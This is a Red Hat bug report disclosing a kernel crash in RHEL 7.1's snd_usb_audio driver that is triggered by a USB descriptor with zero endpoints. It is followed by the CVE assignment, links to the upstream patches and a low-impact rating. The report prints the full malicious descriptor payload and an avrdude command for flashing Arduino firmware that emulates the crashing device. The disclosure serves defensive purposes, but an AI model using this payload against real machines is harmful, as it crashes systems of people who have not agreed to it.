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Description of problem: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (snd_usb_audio driver bug1) [local-DoS] Version-Release number of selected component (if applicable): Kernel-Version: 3.10.0-229.20.1.el7.x86_64 How reproducible: always OpenSource Security Ralf Spenneberg Am Bahnhof 3-5 48565 Steinfurt info Date: November 12th, 2015 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (snd_usb_audio driver) [local-DoS] Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Abstract The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB device which requires the snd_usb_audio driver. Detailed product description We confirmed the bug on the following system: RHEL 7.1 Kernel = 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: ######### PAYLOAD 1 ######### [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x45e idProduct: 0x283 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing the malicious value for bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system. [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc The snd_usb_audio driver assumes that there will be at least one endpoint-descriptors. If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null-pointer and the kernel crashes: **** $ nm snd-usb-audio.ko.debug | grep create_fixed_stream_quirk 000000000000d830 t create_fixed_stream_quirk $ addr2line -e snd-usb-audio.ko.debug D8E5 /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/sound/usb/quirks.c:176 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (sound/usb/quirks.c) 173 if (fp->datainterval == 0) 174 fp->datainterval = snd_usb_parse_datainterval(chip, alts); 175 if (fp->maxpacksize == 0) 176 fp->maxpacksize = le16_to_cpu(get_endpoint(alts, 0)->wMaxPacketSize); /* Nullpointer-Dereference */ 177 usb_set_interface(chip->dev, fp->iface, 0); 178 snd_usb_init_pitch(chip, fp->iface, alts, fp); **** Proof of Concept: 1) The bug can be reproduced using USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo). The attached vUSBf-obj file contains the payload. Please let us know if you would like to use the Facedancer board. In such case, we could also provide a patched version of vUSBf which allows to reproduce vUSBf-Payloads using the Facedancer board. 2) For a proof of concept we are providing also an Arduino firmware file. Just flash it on Arduino Leonardo and plug it into any RHEL machine. The Arduino will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The file binary.hex has been attached to this bug report. To prevent automated sending of payloads, use a jumper to connect port D3 and 5V! Severity and Ease of Exploitation The security weakness can be easily exploited. Using our Arduino firmware only physical access to the system is required. Additional info: Stacktrace, vUSBf-Payload, Arduino-Firmware attached. Please assign a CVE for this issue since this is a local DoS of the targeted system. CVSS 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Created attachment 1096235 [details] vUSBf Payload
Created attachment 1096236 [details] Stacktrace
Created attachment 1096237 [details] Arduino firmware demonstrating the bug
CVE-2016-2184 which is Red Hat's private CVE ID was assigned to this security flaw. Please, use it in the public communications regarding this flaw, thank you.
Public via: http://seclists.org/bugtraq/2016/Mar/88
upstream patches from Takashi Iwai: http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=0f886ca12765d20124bd06291c82951fd49a33be http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=902eb7fd1e4af3ac69b9b30f8373f118c92b9729 http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=447d6275f0c21f6cc97a88b3a0c601436a4cdf2a
Thank you for reporting this flaw. The Product Security has rated this flaw as having low security impact (bz#1317012), so the patch is currently not planned to be added to the RHEL source trees. If accepted to the upstream, the patch may get to the RHEL trees later at the next USB subsystem code rebase.